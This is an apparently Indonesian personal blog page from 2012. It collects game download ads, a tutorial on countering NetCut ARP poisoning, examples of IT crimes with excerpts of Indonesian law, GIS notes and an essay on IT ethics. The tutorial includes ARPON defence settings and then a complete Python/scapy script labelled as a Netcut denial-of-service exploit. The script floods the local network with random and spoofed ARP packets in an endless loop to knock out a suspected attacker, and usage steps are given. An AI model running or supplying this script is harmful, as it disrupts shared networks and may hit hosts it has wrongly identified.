Please Enable JavaScript Your Browser.. Thank's

Perfect World International New Horizons

Perfect World International New Horizons Version Offline dengan Server 1.5.1, terdapat 5 RAS dengan Quest terbaru, makin penasaran Silahkan Download atau Membeli pada Blog ini.. Sekian dan Terima Kasih..

Perfect World International Siren War

Perfect World Siren War Version Offline dengan Server 1.4.6, terdapat 5 RAS dengan Quest terbaru, makin penasaran Silahkan Download atau Membeli pada Blog ini.. Sekian dan Terima Kasih..

BattleField 2142 Offline

Battle 2142 Offline Full Installer, dapat bermain LAN dengan teman-teman Anda beserta BOTS (Maps yang ada BOTSnya saja)

Dragon Nest Trial Offline

Dragon Nest Offline Ini belum ada yang full Version masih Trial Version..

Perfect World International Rising Tide

Perfect World International Rising Tide Version Offline dengan Server 1.3.6, dengan 3 RAS, sudah banyak perbaikan baik game maupun Web Localhostnya, penasaran silahkan Download.. Sekian dan Terima Kasih..

Kamis, 12 April 2012

Counter Attack Net Cut

Disini saya menggunakan Backtrack 5 yang sudah kumplit aplikasi untuk yang aneh-aneh... mungkin pengunjung sudah tidak aneh lagi mendengar Operating Sistem ini yang termasuk distro Ubuntu 10.04 version Gnome, Nah sekarang saya membahas sedikit tentang Konsep Net Cut dan cara menangkal ataupun membalas agar Komputer si Net Cut Over memory di RAMnya:

1. Net Cut:

Net cut menurut konsep pemahaman saya dari banyak literatur video, searching maupun buku, mengatakan bahwa Net Cut menggunakan konsep ARP-Poisoning, dimana Mac Gateway si Komputer Korban agar berbeda dengan gateway defaultnya.

Misal:

Gateway Internet Asli:

192.168.6.1 dengan Mac: 00:00:cd:0c:7b:ae

Kompi Korban awalnya:

192.168.6.20 dengan Mac 00:26:82:22:ae:oc dan Mac Gateway: 00:00:cd:0c:7b:ae

Kompi Penjahat mencoba racuni Kompi Korban:

Penjahat: 192.168.6.21 dengan Mac 48:af:28:11:ae:cd dan Mac Gateway 00:00:cd:0c:7b:ae

Kompi Korban saat terinfeksi oleh Kompi si Penjahat:

192.168.6.20 dengan Mac 00:26:82:22:ae:oc dan Mac Gateway milik penjahat ataupun random: 48:af:28:11:ae:cd ---> berbeda dengan Gateway Defaultnya yang: 00:00:cd:0c:7b:ae

2. Arpon

Untuk aplikasi yang satu ini biasanya (saya) gunakan di Backtrack 5 ataupun distro linux ubuntu pada umumnya dengan cara menginstall lewat terminal dengan server lokal ataupun luar:

Catetan kalo selain Backtrack gunakan perintah sudo untuk mengeksekusi sebagai root.

apt-get install arpon

Setelah terinstal kita setting lagi sedikit agar dapat berjalan:

1. gedit /etc/arpon.sarpi

Tambahkan IP dan Mac Gateway (Sebelum terinfeksi) tanpa tanda pagar karena tanda # untuk komentar

Misal:
#IP_Gateway
192.168.6.1 00:00:cd:0c:7b:ae

Lalu save

2. gedit /etc/default/arpon

Lihat script dibawah:

# For SARPI uncomment the following line
#DAEMON_OPTS="-d -f /var/log/arpon/arpon.log -g -s"

# For DARPI uncomment the following line
#DAEMON_OPTS="-d -f /var/log/arpon/arpon.log -g -y"

# Modify to RUN="yes" when you are ready
RUN="no"

Rubah jika Mode Static Hilangkan tanda # Daemon untuk SARPI jika tipe Dynamic hilangkan tanda # Daemon untuk DARPI.

Menjalankan arpon:

Lihat dahulu mode apa yang digunakan (Interface)
1. Eth = LAN
2. Wlan = Wireless

Contoh saya menggunakan interface Wlan0:

arpon -i wlan0 -y

(catetan: saya terkoneksi dengan tipe dynamic Mode DARPI jadi menggunakan perintah akhir -y apabila menggunakan SARPI tinggal rubah perintah akhir dengan -s)

3. Anti Net-Cut 2.0:
#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Version: Netcut 2
#Tested on: Windows Xp, Windows 7

from scapy.all import sniff, Ether, ARP, RandIP, RandMAC, Padding, sendp, conf
import commands, os, sys

#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
gw_ip = commands.getoutput("ip route list | grep default").split()[2]
    
def protect(gw_ip, gw_mac):
    os.popen("arp -s %s %s" % (gw_ip, gw_mac))
    print "Protected From Terrorist"
    
def detect():
        ans = sniff(filter='arp', timeout=7)
        target = []
        for r in ans.res:
            target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%"))
        return target

def preattack(gw_ip):
    flag = 0
    num = []
    count = 0
    target = 0
    temp = 0
    print "Searching Terrorist..."
    d = detect()
    for i in range(len(d)):
        if d[i].split()[0] == "255.255.255.255":
            num.append(d.count(d[i]))
            if d.count(d[i]) > count:
                count = d.count(d[i])
                target = i
        if d[i].split()[0] == gw_ip:
            temp += 1
    if len(d) < 7:
        print "[-] No One Terrorist..."
        exit()
    if len(num) * 7 < temp:
        num[:] = []
        count = 0
        result = float(temp) / len(d) * 100
        for j in range(len(d)):
            if d[j].split()[0] == gw_ip:
                if d.count(d[j]) > count:
                    count = d.count(d[j])
                    target = j
            result = float(temp) / len(d) * 100
        flag = 1
    else:
        num.reverse()
        result = float(num[0] + temp) / len(d) * 100
    print "There is a possibility that " + str(result) + "%"
    if result >= 50:
        target_mac = d[target].split()[1]
        target_ip = d[target].split()[2]
        print "[+] Detected Terrorist Location Protocol Cyber %s MAC %s" % (target_ip, target_mac)
        if flag == 0:
            attack(target_mac, target_ip, gw_ip)
        else:
            print "[-] Can't Attack"
    else:
        print "[-] No one Terrorist or try again"

def attack(target_mac, target_ip, gw_ip):
    print "[+] Counter Attack of Fire in The Hole !!!"
    e = Ether(dst="FF:FF:FF:FF:FF:FF")
    while 1:
        a = ARP(psrc=RandIP(), pdst=RandIP(), hwsrc=RandMAC(), hwdst=RandMAC(), op=1)
        p = e / a / Padding("\x00"*18)
        sendp(p, verbose=0)
        a1 = ARP(psrc=gw_ip, pdst=target_ip, hwsrc=RandMAC(), hwdst=target_mac, op=2)
        p1 = e / a1 / Padding("\x00"*18)
        sendp(p1, verbose=0)
        
if __name__ == '__main__':
    os.system("clear")  
    if len(sys.argv) == 2 or len(sys.argv) == 3:
        if len(sys.argv) == 2:
            conf.iface = sys.argv[1]
            preattack(gw_ip)
        if len(sys.argv) == 3:
            conf.iface = sys.argv[1]
            gw_mac = sys.argv[2]
            protect(gw_ip, gw_mac)
            preattack(gw_ip)
    else:
        print '''Mode:
1.)Attack only Terroris
Usage: NetcutKiller
Example: NetcutKiller.py wlan0
2.)Attack with protect himself From Terroris
Usage: NetcutKiller
Example: NetcutKiller.py wlan0 00:FA:77:AA:BC:AF
''' 

Simpan misal Pembalasan_Netcut.py simpan di root (home)

(Catetan: bahasa yang digunakan menggunakan bahasa pemograman python jadi ekstensi akhir berikan .py)

Lalu untuk menjalankannya Lewat terminal:

python Pembalasan_Netcut.py

Lalu akan muncul pilihan.

Have Fun ^^.. mohon maaf apablia ada yang kurang dalam tutorial ini.

Rabu, 11 April 2012

Contoh Pelanggaran Teknologi Informasi

1. Data Forgery

Kejahatan jenis ini dilakukan dengan tujuan memalsukan data pada dokumen-dokumen penting yang ada di internet. Dokumen-dokumen ini biasanya dimiliki oleh institusi atau lembaga yang memiliki situs berbasis web database.

Contoh Kasus :

Data Forgery Pada E-Banking BCA

Dunia perbankan melalui Internet (e-banking) Indonesia, dikejutkan oleh ulah seseorang bernama Steven Haryanto, seorang hacker dan jurnalis pada majalah Master Web. Lelaki asal Bandung ini dengan sengaja membuat situs asli tapi palsu layanan Internet banking Bank Central Asia, (BCA). Steven membeli domain-domain dengan nama mirip www.klikbca.com (situs asli Internet banking BCA), yaitu domain www.klik-bca.com,www.kilkbca.com, www.clikbca.com, www.klickca.com. Dan www.klikbac.com. Isi situs-situs plesetan inipun nyaris sama, kecuali tidak adanya security untuk bertransaksi dan adanya formulir akses (login form) palsu. Jika nasabah BCA salah mengetik situs BCA asli maka nasabah tersebut masuk perangkap situs plesetan yang dibuat oleh Steven sehingga identitas pengguna (user id) dan nomor identitas personal (PIN) dapat di ketahuinya.

Undang-Undang :

Pasal 23 (2): Pemilikan dan penggunaan nama domain sebagaimana dimaksud dalam ayat (1) wajib didasarkan pada itikad baik, tidak melanggar prinsip persaingan usaha secara sehat, dan tidak melanggar hak orang lain. (Tindak pidana sebagaimana dimaksud dalam ayat (1) hanya dapat dituntut atas pengaduan dari orang yang terkena tindak pidana) ( Pidana enam bulan atau denda Rp 100 juta)

Pasal 27 (2): Setiap orang dilarang menggunakan dan atau mengakses komputer dan atau sistem elektronik dengan cara apapun tanpa hak, untuk memperoleh, mengubah, merusak, atau menghilangkan informasi milik pemerintah yang karena statusnya harus dirahasiakan atau dilindungi.( Pidana 20 tahun dan denda Rp 10 miliar).

2. Cyber Espionage, Sabotage, and Extortion

Cyber Espionage merupakan kejahatan yang memanfaatkan jaringan internet untuk melakukan kegiatan mata-mata terhadap pihak lain, dengan memasuki sistem jaringan komputer pihak sasaran. Sabotage and Extortion merupakan jenis kejahatan yang dilakukan dengan membuat gangguan, perusakan atau penghancuran terhadap suatu data, program komputer atau sistem jaringan komputer yang terhubung dengan internet.

Contoh Kasus :

munculnya “sendmail worm” (sekitar tahun 1988) yang menghentikan sistem email Internet kala itu. Kemudian dibentuk sebuah Computer Emergency Response Team (CERT). Semenjak itu di negara lain mulai juga dibentuk CERT untuk menjadi point of contact bagi orang untuk melaporkan masalah kemanan. IDCERT merupakan CERT Indonesia.

Undang-undang :

Pasal 27 (1): Setiap orang dilarang menggunakan dan atau mengakses komputer dan atau sistem elektronik dengan cara apapun tanpa hak, untuk memperoleh, mengubah, merusak, atau menghilangkan informasi dalam komputer dan atau sistem elektronik. (Pidana empat tahun penjara dan denda Rp 1 miliar).

3. Cyberstalking

Kejahatan jenis ini dilakukan untuk mengganggu atau melecehkan seseorang dengan memanfaatkan komputer, misalnya menggunakan e-mail dan dilakukan berulang-ulang. Kejahatan tersebut menyerupai teror yang ditujukan kepada seseorang dengan memanfaatkan media internet. Hal itu bisa terjadi karena kemudahan dalam membuat email dengan alamat tertentu tanpa harus menyertakan identitas diri yang sebenarnya.

Contoh Kasus :

Misalnya e-mail yang berisi ajakan bergabung dengan suatu website,

email yang berisi ajakan untuk membeli produk tertentu,

mail yang berisi kontes / undian berhadiah, misalnya dengan subject

“YOU HAVE WON $1,000,000″ , “LOTTERY NATIONAL UK” , “FREE LOTTO INTERNATIONAL” , “YOU WON YAHOO LOTTO PROMOTION $1,000″,

“EASY MONEY” ,”WIN CASH ONLINE” ,”FREE JACKPOT” , dan sekarang makin gencar menawarkan produk

paket Adobe Suite yang dilengkapi dengan attachment pdf.

Undang-undang :

Pasal 25: Penggunaan setiap informasi melalui media elektronik yang menyangkut data tentang hak pribadi seseorang harus dilakukan atas persetujuan dari orang yang bersangkutan, kecuali ditentukan lain oleh peraturan perundang-undangan.

Sumber: http://niaas8.wordpress.com/2012/04/05/maraknya-kejahatan-didunia-maya/

Jumat, 30 Maret 2012

Pengembangan GIS

Contoh Webgis open source yang bisa dikembangkan secara online, yaitu pada situs ini


Contoh saat situs tersebut diakses.

Lalu dibawah ini tampilan saat masuk ke halaman situs tersebut:


Beberapa website yang dapat di download scriptnya untuk membuat webgis:

3map

Amein!

ArcView APR Parser

AutoREALM

AVCE00

AVPython

http://www.geomajas.org/

http://ominiverdi.org/

Lalu untuk licence alias berbayar

autodesk mapguide

arcgis server


Sumber: wisu28.wordpress.com

Aplikasi GIS dalam bidang kesehatan

GIS pada bidang kesehatan adalah analisis hubungan antara lingkungan hidup manusia dengan penyakit, gizi dan system pelayanan kesehatan untuk menjelaskan hubungan timbal baliknya dalam ruang. GIS pada bidang kesehatan juga bagian dari geografi manusia yang berhubungan dengan aspek – aspek geografi dari (status) kesehatan dan (system) pelayanan kesehatan.


Dalam kajian geografi kesehatan mengidentifikasi hubungan antar tiga komponen terkait dengan geografi penyakit, geografi pelayanan kesehatan dan geografi ilmu gizi, dengan analisis pada skala regional untuk pengintegarsian ketiga pendekatan itu. Namun dalam geografi kesehatan, ada 2 sub disiplin yang berkembang pesat yaitu geografi penyakit dan geografi pelayanan kesehatan.

Geografi penyakit meliputi ekplorasi, deskripsi dan pemodelan ruang waktu atas kejadian penyakit, berkaitan dengan persoalan lingkungan, deteksi dan analisis cluster dan pada pola penyebaran penyakit, analisis sebab – akibat dan rumusan hipotesis – hipotesis baru mengenai penyebab penyakit. Geografi penyakit berperan penting dalam surveillance, intervensi kesehatan, dan strategi pencegahan penyakit. Contohnya mengenai penyebaran penyakit pada suatu daerah dan apakah ada pengaruhnya dari kondisi daerah tersebut, TB, Polio, dan untuk penyakit lainnya.
Geografi system pelayanan kesehatan, berkaitan dengan perencanaan, manajemen dan jaminan pelayanan agar sesuai kebutuhan, merumuskan kebutuhan kesehatan masyarakat yang dilayani dan pola wilayah yang dilayani oleh pegawai kesehatan. Riset geografi atas pelayanan kesehatan dapat mengidentifikasi ketimpangan dalam pelayanan kesehatan antara wilayah satu dan yang lain dan alokasi sumber daya yang terbatas. Sebagai contoh mengalokasikan tenaga ke daerah – daerah yang membutuhkan dan membantu penempatan fasilitas kesehatan yang baru dan perluasan yang telah ada.
Analisa spasial terhadap penyakit merupakan sarana penting dalam penyelidikan epidemiologi. Sarana ini membantu untuk menyelidiki aetologi penyakit atau bahaya lingkungan. Salah satu contoh Analisis spasial terhadap water borne disease dilakukan dangendrof seorang kebagsaan jerman di kota Rhine-Berg dimana beliu melakukan analisis pola spasial penyakit diare dan kaitanya dengan persediaan air di kota Rhine-berg – jerman.Penelitiannya menemukan bahwa bagian pusat dan selatan wilayah kota terdapat banyak kasus daripada daerah bagian utara. Dari hasil ini beliau juga menemukan hubungan signifikan secara statistic antara timbulnya gastroenteritis dan jumlah orang yang memiliki persedian air dari tanah. Disamping hal tersebut terdapat factor penggangu yaitu pergerakan populasi, jumlah dokter di setiap daerah dan sumur pribadi. Dari contoh penggunaan GIS di atas, baik yang dilakukan oleh peneliti – peneliti di luar negeri maupun di dalam negeri. Kita bisa simpulkan bahwa GIS sangat membantu dalam bidang pekerjaan kita.

Sumber: http://www.dinkes-tts.web.id/component/content/article/38-artikel-/99-gis-pada-bidang-kesehatan.html

MapObject dan ArcObject

Arcobject adalah salah satu tools utama keluaran ersi untuk membantu membangun suatu aplikasi gis, Arcobject lebih abstract dari pada arcgis tersebut dan arc object akan terinstall secara otomatis ketika anda menginstall salah satu dari Arcgis desktop, Arcgis engine dan Arcgis server

Mapobject adalah sebuah third party komponen yang bisa digunakan di visual basic, visual C++, Delphi dan lainnya, agar bisa menampilkan peta beserta navigasinya, dan fungsi-fungsi peta lainnya, dan dapat dengan fleksibel digabungkan dalam aplikasi lainnya

Fungsi

Arcobject berfungsi sebagai alat bantu untuk membangun suatu aplikasi gis bukan berupa bahasa pemprograman

MapObject berfungsi sebagai komponen pemprograman GIS yang sangat handal karena dapat mengakomodir hamper semua kebutuhan kustomisasi yang ingin dilakukan oleh user

MapObject Kelebihan

Walau sudah lama dan terkesan jadul namun Mapobject masih bisa dapat dipercaya akan keakuratannya dalam melakukan hal-hal yang sederhana seperti menampilkan peta tematik, query, cetak dan kebutuhan standart GIS

MapObject Kekurangan

Mapobject biasanya masih dilakukan di desktop sehingga harus dilakukan pemindahan kembali datanya ke server karena aplikasi ini hanya bisa diakses 1 komputer saja (stand alone)

ArcObject Kelebihan

ArcObject menjadi nadi utama dalam Arcgis sehingga sangat diperlukan dalam pembentukkan map gis tersebut karena terdapat dalam Arcgis itu sendiri

ArcObject Kekurangan

Karena ArcObject ini terdapat dalam Arcgis, sehingga dalam pembentukkannya sangatlah berpengaruh untuk GIS itu sendiri.

Minggu, 25 Maret 2012

Pengertian suatu Etika dan Profesionalisme

1. Pengertian Etika

Etika berasal dari bahasa Yunani Kuno: "ethikos", berarti "timbul dari kebiasaan" merupakan cabang utama filsafat yang mempelajari nilai atau kualitas studi mengenai standar dan penilaian moral. Etika mencakup analisis dan penerapan konsep seperti benar, salah, baik, buruk, dan tanggung jawab.

Bersikap dan selalu melakukan aktifitas yang bernilai positif merupakan contoh sebuah etika yang benar dan mempunyai nilai sesuai dengan norma-norma masyarakat, namun sebaliknya jika melakukan suatu aktifitas yang bertentangan dengan suatu nilai dan norma kemasyrakatan mempunyai nilai yang buruk di mata masyarakat.

2. Profesionalisme

Profesionalisme ialah sifat-sifat dari mulai kemampuan, kemahiran, cara pelaksanaan sesuatu. sebagaimana yang sewajarnya dilakukan oleh seorang yang ahli pada bidangnya

Profesionalisme berasal dari kata profesion atau profesi artinya jabatan seseorang yang bersifat komersial ataupun tidak, yang memerlukan keahlian dan keterampilan khusus untuk menjalankannya.

Pada International Encyclopedia of education, ada beberapa ciri yang khas dari suatu profesi, yaitu :

a. Suatu bidang pekerjaan yang terorganisir dari jenis intelektual yang terus berkembang dan diperluas
b. Suatu teknik intelektual
c. Penerapan praktis dari teknik intelektual pada urusan praktis
d. Suatu periode panjang untuk pelatihan dan sertifikasi
e. Beberapa standar dan pernyataan tentang etika yang dapat diselenggarakan
f. Kemampuan untuk kepemimpinan pada profesi sendiri
g. Asosiasi dari anggota profesi yang menjadi suatu kelompok yang erat dengan kualitas komunikasi yang tinggi antar anggotanya
h. Pengakuan sebagai profesi
I. Perhatian yang profesional terhadap penggunaan yang bertanggung jawab dari pekerjaan profesi
j. Hubungan yang erat dengan profesi lain

3. Pengertian TSI

Suatu informasi yang mempunyai fungsi mengumpulkan, memproses, menyimpan, menganalisis, dan menyebarkan informasi untuk tujuan yang spesifik.

4. Etika & Profesionalisme TSI

Etika & Profisinalisme TSI adalah kaidah bagi tingkah laku, keahlian atau kualitas yang dinilai dari seseorang yang profesional dalam menggunakan, memanfaatkan dan berperan dalam Teknologi Sistem Informasi

Beberapa rumusan etika yang tertuang pada kode etik, diantaranya:

a. Standar-standar etika menjelaskan dan menetapkan tanggung jawab terhadap klien, institusi, dan masyarakat pada umumnya.
b. Standar-standar etika membantu tenaga ahli profesi dalam menentukan apa yang harus mereka perbuat kalau mereka menghadapi dilema-dilema etika dalam pekerjaan.
c. Standar-standar etika membiarkan profesi menjaga reputasi atau nama dan fungsi-fungsi profesi dalam masyarakat melawan kelakuan-kelakuan yang jahat dari anggota-anggota tertentu
d. Standar-standar etika mencerminkan / membayangkan pengharapan moral-moral dari komunitas, dengan demikian standar-standar etika menjamin bahwa para anggota akan menaati kitab UU etika (kode etik) profesi dalam pelayanannya
e. Standar-standar etika merupakan dasar untuk menjaga kelakuan dan integritas atau kejujuran dari tenaga ahli profesi
f. Perlu diketahui bahwa kode etik profesi adalah tidak sama dengan hukum (atau undang-undang).
g. Seorang ahli profesi yang melanggar kode etik profesi akan menerima sangsi atau denda dari induk organisasi profesinya